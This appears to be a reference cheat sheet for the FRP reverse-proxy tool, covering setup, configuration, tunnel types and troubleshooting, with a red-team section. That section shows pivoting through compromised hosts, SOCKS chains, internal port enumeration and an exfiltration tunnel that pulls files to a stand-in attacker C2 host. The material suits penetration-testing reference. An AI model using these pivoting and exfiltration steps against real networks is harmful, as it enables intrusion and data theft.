FRP (Fast Reverse Proxy)
FRP is a high-performance reverse proxy enabling secure tunneling of services through firewalls and NAT. It uses a server-client architecture where frps runs on an internet-accessible server and frpc runs locally, exposing internal services with encryption, authentication, and advanced routing capabilities.
Installation
Abschnitt betitelt „Installation“From GitHub Releases
Abschnitt betitelt „From GitHub Releases“# Download latest release (Linux x86_64 example)
wget https://github.com/fatedier/frp/releases/download/v0.54.0/frp_0.54.0_linux_amd64.tar.gz
tar -xzf frp_0.54.0_linux_amd64.tar.gz
cd frp_0.54.0_linux_amd64
# Server setup
./frps -c frps.toml
# Client setup
./frpc -c frpc.toml
Go Install
Abschnitt betitelt „Go Install“go install github.com/fatedier/frp/cmd/frps@latest
go install github.com/fatedier/frp/cmd/frpc@latest
frps -c frps.toml
frpc -c frpc.toml
# FRP server container
docker run -d --name frps -p 7000:7000 -p 7500:7500 \
-v /path/to/frps.toml:/etc/frp/frps.toml \
snowdreamtech/frps
# FRP client container
docker run -d --name frpc \
-v /path/to/frpc.toml:/etc/frp/frpc.toml \
snowdreamtech/frpc
Architecture
Abschnitt betitelt „Architecture“FRP operates in a client-server model:
| Component | Role | Location |
|---|---|---|
| frps (server) | Receives reverse proxy requests, forwards traffic to frpc clients | Internet-accessible server (C2, VPS) |
| frpc (client) | Connects to frps, exposes local services | Target network (compromised host) |
| Proxy Definition | Maps a service (SSH, HTTP, etc.) to a public port | frpc.toml |
| Control Connection | Persistent TCP connection between frpc and frps | Port 7000 (default) |
Traffic flow: Client requests → frps → frpc → Local service
Quick Start
Abschnitt betitelt „Quick Start“1. Start FRP Server
Abschnitt betitelt „1. Start FRP Server“# frps.toml
bindAddr = "0.0.0.0"
bindPort = 7000
authentication:
token = "your-secret-token-here"
webServer:
addr = "0.0.0.0"
port = 7500
Run server:
./frps -c frps.toml
2. Configure FRP Client
Abschnitt betitelt „2. Configure FRP Client“# frpc.toml
serverAddr = "attacker.example.com"
serverPort = 7000
auth:
token = "your-secret-token-here"
proxies:
- name = "ssh"
type = "tcp"
localIP = "127.0.0.1"
localPort = 22
remotePort = 2222
Run client:
./frpc -c frpc.toml
Access remote SSH: ssh -p 2222 user@attacker.example.com
Server Configuration (frps.toml)
Abschnitt betitelt „Server Configuration (frps.toml)“Core Settings
Abschnitt betitelt „Core Settings“# Network binding
bindAddr = "0.0.0.0" # Listen on all interfaces
bindPort = 7000 # Control port for clients
bindUDP = 7001 # UDP port for UDP proxies
# Logging
log:
level = "debug" # debug, info, warn, error
maxDays = 3
disablePrintColor = false
Authentication & Security
Abschnitt betitelt „Authentication & Security“# Token-based authentication
authentication:
token = "supersecrettoken123"
tokenTimeout = 900 # Token expiration (seconds)
# TLS configuration
transport:
tls:
certFile = "/path/to/server.crt"
keyFile = "/path/to/server.key"
trustedCaFile = "/path/to/ca.crt"
# Enforce TLS
disableCustomTLSFirstByte = false
Dashboard & Monitoring
Abschnitt betitelt „Dashboard & Monitoring“# Web dashboard
webServer:
addr = "0.0.0.0"
port = 7500
user = "admin"
password = "admin123"
assetsDir = "" # Static assets directory
# REST API (same as dashboard)
# GET /api/serverinfo - Server statistics
# GET /api/config - Server configuration
# GET /api/proxies - Active proxies
Advanced Server Options
Abschnitt betitelt „Advanced Server Options“# Connection pooling
transport:
maxPoolCount = 5 # Max connections per client
maxIdleTime = 15 # Connection idle timeout (min)
# Rate limiting
rateLimit = 1000 # Connections per second
# Subdomain routing (for HTTP proxies)
subdomainRouter = "frp.example.com"
Client Configuration (frpc.toml)
Abschnitt betitelt „Client Configuration (frpc.toml)“Connection Settings
Abschnitt betitelt „Connection Settings“# Server connection
serverAddr = "attacker.example.com"
serverPort = 7000
serverUDP = 7001 # For UDP proxies
# Authentication
auth:
token = "supersecrettoken123"
method = "token" # token or oidc
# Transport
transport:
tls:
enable = true
disableCustomTLSFirstByte = false
trustedCaFile = "/path/to/ca.crt"
useEncryption = true # Encrypt frpc-frps traffic
useCompression = true # Compress tunneled data
dialServerTimeout = 10 # Connection timeout
dialKeepAliveInterval = 300 # Keep-alive interval
# Logging
log:
level = "info"
Client Metadata
Abschnitt betitelt „Client Metadata“# Client identification
user = "compromised-workstation-01"
metadatas:
- key = "hostname"
value = "DESKTOP-ABC123"
- key = "os"
value = "Windows 10"
Proxy Types
Abschnitt betitelt „Proxy Types“TCP Tunneling
Abschnitt betitelt „TCP Tunneling“proxies:
# Expose local SSH on port 2222
- name = "ssh-tunnel"
type = "tcp"
localIP = "127.0.0.1"
localPort = 22
remotePort = 2222
UDP Tunneling
Abschnitt betitelt „UDP Tunneling“proxies:
# Expose local DNS
- name = "dns-tunnel"
type = "udp"
localIP = "127.0.0.1"
localPort = 53
remotePort = 5353
HTTP Tunneling
Abschnitt betitelt „HTTP Tunneling“proxies:
# Expose local web app on custom domain
- name = "web-app"
type = "http"
localIP = "127.0.0.1"
localPort = 8080
customDomains = ["app.frp.example.com"]
# subdomain = "app" # Auto: app.subdomainRouter
# Host header rewriting
hostHeaderRewrite = "localhost:8080"
# HTTP basic auth
httpUser = "admin"
httpPassword = "secret123"
HTTPS Tunneling
Abschnitt betitelt „HTTPS Tunneling“proxies:
- name = "secure-app"
type = "https"
localIP = "127.0.0.1"
localPort = 8443
customDomains = ["secure.frp.example.com"]
hostHeaderRewrite = "localhost:8443"
STCP (Secret TCP)
Abschnitt betitelt „STCP (Secret TCP)“Direct TCP connection with authentication (no public exposure).
# Server-side (frps.toml) - no config needed
# Client-side (frpc.toml)
proxies:
- name = "secure-ssh"
type = "stcp"
secretKey = "secret-key-123"
localIP = "127.0.0.1"
localPort = 22
# Visitor (another frpc.toml)
visitors:
- name = "secure-ssh-visitor"
type = "stcp"
secretKey = "secret-key-123"
serverName = "secure-ssh"
bindAddr = "127.0.0.1"
bindPort = 2222
XTCP (P2P TCP)
Abschnitt betitelt „XTCP (P2P TCP)“Direct point-to-point connection between two frpc instances.
# Provider (frpc.toml)
proxies:
- name = "direct-service"
type = "xtcp"
secretKey = "p2p-secret"
localIP = "127.0.0.1"
localPort = 3389
# Visitor (another frpc.toml)
visitors:
- name = "direct-service-visitor"
type = "xtcp"
secretKey = "p2p-secret"
serverName = "direct-service"
bindAddr = "127.0.0.1"
bindPort = 3389
SUDP (Secret UDP)
Abschnitt betitelt „SUDP (Secret UDP)“Encrypted UDP tunnel with authentication.
proxies:
- name = "secret-udp"
type = "sudp"
secretKey = "udp-secret"
localIP = "127.0.0.1"
localPort = 53
Multiplex multiple services over single TCP connection (protocol-aware).
# Server config (frps.toml)
tcpmuxHTTPConnectPort = 1337 # Multiplex HTTP CONNECT
# Client config (frpc.toml)
proxies:
- name = "http-mux"
type = "tcpmux"
multiplexer = "httpconnect"
localIP = "127.0.0.1"
localPort = 8080
customDomains = ["app.frp.example.com"]
TCP Tunneling
Abschnitt betitelt „TCP Tunneling“SSH Access
Abschnitt betitelt „SSH Access“proxies:
- name = "ssh"
type = "tcp"
localIP = "127.0.0.1"
localPort = 22
remotePort = 2222
Access: ssh -p 2222 user@attacker.example.com
RDP Access
Abschnitt betitelt „RDP Access“proxies:
- name = "rdp"
type = "tcp"
localIP = "127.0.0.1"
localPort = 3389
remotePort = 3389
Database Tunneling
Abschnitt betitelt „Database Tunneling“proxies:
- name = "postgres"
type = "tcp"
localIP = "127.0.0.1"
localPort = 5432
remotePort = 5432
Connect locally: psql -h 127.0.0.1 -p 5432 -U user dbname
Internal Web Service
Abschnitt betitelt „Internal Web Service“proxies:
- name = "internal-api"
type = "tcp"
localIP = "127.0.0.1"
localPort = 3000
remotePort = 3000
Access: curl http://attacker.example.com:3000/api
HTTP/HTTPS Tunneling
Abschnitt betitelt „HTTP/HTTPS Tunneling“Basic HTTP Exposure
Abschnitt betitelt „Basic HTTP Exposure“proxies:
- name = "web-app"
type = "http"
localIP = "127.0.0.1"
localPort = 8080
customDomains = ["internal.frp.example.com"]
Access: curl http://internal.frp.example.com
Subdomain Routing
Abschnitt betitelt „Subdomain Routing“# frps.toml
subdomainRouter = "frp.example.com"
# frpc.toml - auto-generate subdomain
proxies:
- name = "app1"
type = "http"
localIP = "127.0.0.1"
localPort = 8080
subdomain = "app1" # app1.frp.example.com
Host Header Rewriting
Abschnitt betitelt „Host Header Rewriting“proxies:
- name = "internal-site"
type = "http"
localIP = "127.0.0.1"
localPort = 8000
customDomains = ["site.frp.example.com"]
hostHeaderRewrite = "internal.local"
HTTP Basic Authentication
Abschnitt betitelt „HTTP Basic Authentication“proxies:
- name = "admin-panel"
type = "http"
localIP = "127.0.0.1"
localPort = 9000
customDomains = ["admin.frp.example.com"]
httpUser = "admin"
httpPassword = "P@ssw0rd123"
Clients must provide credentials: curl -u admin:P@ssw0rd123 http://admin.frp.example.com
Multiple Routes
Abschnitt betitelt „Multiple Routes“proxies:
- name = "api-prod"
type = "http"
localIP = "127.0.0.1"
localPort = 8080
customDomains = ["api.frp.example.com"]
- name = "admin-prod"
type = "http"
localIP = "127.0.0.1"
localPort = 9000
customDomains = ["admin.frp.example.com"]
- name = "docs"
type = "http"
localIP = "127.0.0.1"
localPort = 8888
subdomain = "docs"
SOCKS5 Proxy
Abschnitt betitelt „SOCKS5 Proxy“Dynamic pivoting through a compromised host.
# frpc.toml
proxies:
- name = "socks5-proxy"
type = "tcp"
plugin = "socks5"
pluginParams = ""
remotePort = 1080
Use proxy:
# curl through SOCKS5
curl -x socks5://attacker.example.com:1080 http://internal.service.local
# SSH through SOCKS5
ssh -o ProxyCommand='nc -x attacker.example.com:1080 %h %p' user@internal.host
# nmap through SOCKS5
nmap --proxies socks5://attacker.example.com:1080 192.168.1.0/24
Port Range Forwarding
Abschnitt betitelt „Port Range Forwarding“Forward multiple ports for network scanning.
proxies:
- name = "port-range"
type = "tcp"
localIP = "127.0.0.1"
localPort = 1-65535 # Dangerous: all ports
remotePort = 10000-75535
# Safer: specific range
- name = "web-services"
type = "tcp"
localIP = "127.0.0.1"
localPort = 80,443,8000-8999
remotePort = 80,443,8000-8999
Access individual ports:
ssh -p 10022 user@attacker.example.com # Local port 22 → remote 10022
Encryption and Compression
Abschnitt betitelt „Encryption and Compression“Transport Encryption
Abschnitt betitelt „Transport Encryption“# frpc.toml
transport:
tls:
enable = true
certFile = "/path/to/client.crt"
keyFile = "/path/to/client.key"
trustedCaFile = "/path/to/ca.crt"
# Skip verification (testing only)
insecureSkipVerify = true
# Custom TLS first byte (bypass firewalls)
transport:
tls:
disableCustomTLSFirstByte = false
Payload Compression
Abschnitt betitelt „Payload Compression“transport:
useCompression = true # Gzip compression
useEncryption = true # XOR-based encryption
Reduce bandwidth:
# Compression ratio for typical web traffic: 60-70%
# Encryption adds ~10% overhead
Authentication
Abschnitt betitelt „Authentication“Token-Based
Abschnitt betitelt „Token-Based“# frps.toml
authentication:
token = "complex-secret-token-with-entropy"
tokenTimeout = 900
# frpc.toml
auth:
token = "complex-secret-token-with-entropy"
method = "token"
OIDC Authentication
Abschnitt betitelt „OIDC Authentication“# frps.toml
authentication:
oidc:
issuer = "https://auth.example.com"
audience = "frp-server"
clientID = "frp-client-id"
clientSecret = "frp-client-secret"
# frpc.toml
auth:
method = "oidc"
oidc:
clientID = "frp-client-id"
clientSecret = "frp-client-secret"
tokenEndpointURL = "https://auth.example.com/token"
Dashboard and Monitoring
Abschnitt betitelt „Dashboard and Monitoring“Web Dashboard
Abschnitt betitelt „Web Dashboard“# frps.toml
webServer:
addr = "0.0.0.0"
port = 7500
user = "admin"
password = "dashboard123"
assetsDir = "./static"
Access: http://frps-server:7500 (credentials: admin/dashboard123)
Dashboard shows:
- Connected clients
- Active proxies
- Traffic statistics
- Proxy status (running/error)
REST API Endpoints
Abschnitt betitelt „REST API Endpoints“# Server info
curl -u admin:dashboard123 http://frps:7500/api/serverinfo
# List proxies
curl -u admin:dashboard123 http://frps:7500/api/proxies
# Client info
curl -u admin:dashboard123 http://frps:7500/api/config
# Traffic stats
curl -u admin:dashboard123 http://frps:7500/api/proxies/{proxy_name}
P2P Mode (Direct Connection)
Abschnitt betitelt „P2P Mode (Direct Connection)“Direct connection between clients without frps intermediary (reduces latency).
# frpc1.toml (Provider)
proxies:
- name = "direct-tunnel"
type = "xtcp"
secretKey = "p2p-secret-key"
localIP = "192.168.1.100"
localPort = 3389
# frpc2.toml (Visitor on different network)
visitors:
- name = "direct-tunnel-visitor"
type = "xtcp"
secretKey = "p2p-secret-key"
serverName = "direct-tunnel"
bindAddr = "127.0.0.1"
bindPort = 3389
Usage: Connect to 127.0.0.1:3389 for direct P2P access to provider’s service.
Red Team Use Cases
Abschnitt betitelt „Red Team Use Cases“Pivoting Through Compromised Host
Abschnitt betitelt „Pivoting Through Compromised Host“# frpc.toml on compromised workstation
serverAddr = "attacker-c2.com"
serverPort = 7000
auth:
token = "red-team-token"
proxies:
# Expose internal SOCKS5 proxy
- name = "pivot-socks5"
type = "tcp"
plugin = "socks5"
remotePort = 1080
# Expose internal SSH
- name = "internal-ssh"
type = "tcp"
localIP = "127.0.0.1"
localPort = 22
remotePort = 2222
From attacker C2:
# Tunnel through SOCKS5 to internal network
curl -x socks5://attacker-c2.com:1080 http://192.168.100.50:8080
# SSH to compromised host
ssh -p 2222 admin@attacker-c2.com
Multi-Hop SOCKS Chain
Abschnitt betitelt „Multi-Hop SOCKS Chain“# Host1 (first compromised)
proxies:
- name = "socks-hop1"
type = "tcp"
plugin = "socks5"
remotePort = 1080
# Host2 (second compromised)
proxies:
- name = "socks-hop2"
type = "tcp"
plugin = "socks5"
remotePort = 1081
Chain setup:
# Access Host1's network through Host2
ssh -o ProxyCommand="nc -x attacker-c2.com:1080 %h %p" \
-o ProxyUseFdpass=no user@192.168.100.100
# Then from Host2, access Host3 through Host1
ssh -o ProxyCommand="nc -x localhost:1080 %h %p" user@10.0.0.50
Exfiltration Tunnel
Abschnitt betitelt „Exfiltration Tunnel“proxies:
# Expose file server for data exfil
- name = "data-exfil"
type = "http"
localIP = "127.0.0.1"
localPort = 8080 # Python SimpleHTTPServer
customDomains = ["exfil.attacker-c2.com"]
On compromised host:
# Start file server
cd /path/to/files
python3 -m http.server 8080
From attacker:
wget -r http://exfil.attacker-c2.com
Internal Service Enumeration
Abschnitt betitelt „Internal Service Enumeration“proxies:
- name = "enum-80"
type = "tcp"
localIP = "127.0.0.1"
localPort = 80
remotePort = 8080
- name = "enum-443"
type = "tcp"
localIP = "127.0.0.1"
localPort = 443
remotePort = 8443
- name = "enum-3306"
type = "tcp"
localIP = "127.0.0.1"
localPort = 3306
remotePort = 3306
- name = "enum-5432"
type = "tcp"
localIP = "127.0.0.1"
localPort = 5432
remotePort = 5432
Enumerate:
nmap -p 8080,8443,3306,5432 attacker-c2.com
Troubleshooting
Abschnitt betitelt „Troubleshooting“Connection Refused
Abschnitt betitelt „Connection Refused“# Check frps is listening
netstat -tlnp | grep 7000
# Verify firewall allows incoming
sudo ufw allow 7000/tcp
Client Authentication Failed
Abschnitt betitelt „Client Authentication Failed“Error: invalid token
Solution: Verify auth.token in frpc.toml matches authentication.token in frps.toml.
Proxy Not Starting
Abschnitt betitelt „Proxy Not Starting“# Check frpc logs
./frpc -c frpc.toml
# Validate TOML syntax
toml-lint frpc.toml
High Latency / Slow Throughput
Abschnitt betitelt „High Latency / Slow Throughput“# Disable compression if latency is priority
transport:
useCompression = false
# Increase connection pool
transport:
maxPoolCount = 10
Port Already in Use
Abschnitt betitelt „Port Already in Use“# Change remotePort to available port
remotePort = 9999
# Or find process using port
lsof -i :7000
kill -9 <PID>
TLS Certificate Errors
Abschnitt betitelt „TLS Certificate Errors“# Generate self-signed cert (testing)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
# Update frpc.toml
transport:
tls:
trustedCaFile = "/path/to/cert.pem"
insecureSkipVerify = true # Testing only!
Best Practices
Abschnitt betitelt „Best Practices“| Practice | Description |
|---|---|
| Rotate tokens | Change auth.token regularly; log rotation attempts |
| Use TLS | Enable transport.tls for frpc-frps channel |
| Encrypt payloads | Enable transport.useEncryption |
| Limit scope | Only expose necessary ports/services |
| Monitor connections | Check dashboard for unauthorized proxies |
| Firewall rules | Restrict frps bind port (7000) to trusted IPs |
| Rate limiting | Set rateLimit to prevent DoS |
| Log aggregation | Forward frps/frpc logs to SIEM |
| Separate C2 | Run frps on isolated C2 infrastructure |
| Authenticate clients | Use token or OIDC, not default auth |
Related Tools
Abschnitt betitelt „Related Tools“| Tool | Purpose | Advantage |
|---|---|---|
| Chisel | HTTP/SOCKS tunneling | Single binary, built-in SOCKS |
| Ligolo-ng | TUN-based pivoting | Creates virtual interface, transparent routing |
| SSH tunneling | Port forwarding via SSH | Already available on most targets |
| ngrok | Public URL tunneling | Easy external exposure, but public logs |
| Venom | Proxy/tunnel framework | Multi-protocol support |
| Gost | GO Simple Tunnel | Lightweight, flexible |
Quick Reference:
- Server:
./frps -c frps.toml - Client:
./frpc -c frpc.toml - Dashboard:
http://frps:7500 - Default ports: 7000 (control), 7001 (UDP), 7500 (web)
- Auth: Token-based via
auth.token - Encryption:
transport.useEncryption = true